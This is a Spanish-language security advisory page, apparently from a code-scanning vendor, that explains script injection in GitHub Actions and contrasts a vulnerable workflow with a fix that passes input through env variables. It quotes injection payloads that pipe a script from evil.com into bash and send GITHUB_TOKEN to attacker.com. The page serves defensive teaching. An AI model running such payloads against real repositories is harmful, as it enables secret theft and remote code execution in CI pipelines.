criticalCWE-94OWASP A03:2021

Inyeccion de Script en GitHub Actions

Usar datos de eventos no confiables como github.event.issue.title directamente dentro de bloques run: permite a los atacantes inyectar comandos shell arbitrarios en tu pipeline CI creando titulos de issues, cuerpos de PR o mensajes de commit maliciosos.

Cómo Funciona

Las expresiones de GitHub Actions como ${{ github.event.issue.title }} se interpolan directamente en el script de shell antes de la ejecucion. Si un atacante crea un issue con el titulo "; curl http://evil.com/steal.sh | bash; echo ", el comando shell se convierte en echo "; curl http://evil.com/steal.sh | bash; echo " y el comando inyectado se ejecuta con acceso completo al GITHUB_TOKEN del workflow y cualquier secret configurado. Esto afecta cualquier contexto github.event.* que venga de entrada del usuario: titulos de issues, titulos de PR, cuerpo del PR, mensajes de commit, nombres de rama y cuerpos de comentarios. El atacante no necesita acceso de escritura al repositorio -- simplemente abrir un issue o PR es suficiente.

Código Vulnerable
# BAD: user-controlled data interpolated directly into run: block
name: Issue Greeter
on:
  issues:
    types: [opened]
jobs:
  greet:
    runs-on: ubuntu-latest
    steps:
      - run: |
          echo "New issue: ${{ github.event.issue.title }}"
          echo "By: ${{ github.event.issue.user.login }}"
          # Attacker sets title to: "; curl attacker.com/exfil?t=$GITHUB_TOKEN; #"
          # This executes arbitrary commands with repo secrets
Código Seguro
# GOOD: pass user input via environment variables (not interpolated into shell)
name: Issue Greeter
on:
  issues:
    types: [opened]
jobs:
  greet:
    runs-on: ubuntu-latest
    steps:
      - run: |
          echo "New issue: $ISSUE_TITLE"
          echo "By: $ISSUE_AUTHOR"
        env:
          ISSUE_TITLE: ${{ github.event.issue.title }}
          ISSUE_AUTHOR: ${{ github.event.issue.user.login }}
          # Environment variables are NOT interpreted as shell code

Ejemplo Real

En 2021, el investigador de seguridad Teddy Katz demostro inyeccion de scripts en los workflows de GitHub Actions de varios proyectos open-source de alto perfil incluyendo ESLint y webpack. El ataque requeria solo abrir un issue con un titulo crafteado. GitHub posteriormente publico un aviso de seguridad recomendando que todos los autores de workflows pasen inputs no confiables via variables de entorno en lugar de expresiones inline.

Cómo Prevenirlo

  • Nunca uses ${{ github.event.* }} directamente dentro de bloques run: -- siempre pasa datos no confiables a traves de variables env:
  • Usa actions/github-script con parametros de entrada explicitos en lugar de interpolacion de shell para operaciones complejas
  • Restringe workflows disparados por issues/PRs de forks usando protecciones de entorno y aprobaciones requeridas
  • Audita todos los archivos de workflow buscando expresiones ${{ }} inline dentro de pasos run: usando herramientas como actionlint

Tecnologías Afectadas

GitHub ActionsNode.jsPythonDocker

Data Hogo detecta esta vulnerabilidad automáticamente.

Escanea Tu Repo Gratis

Vulnerabilidades Relacionadas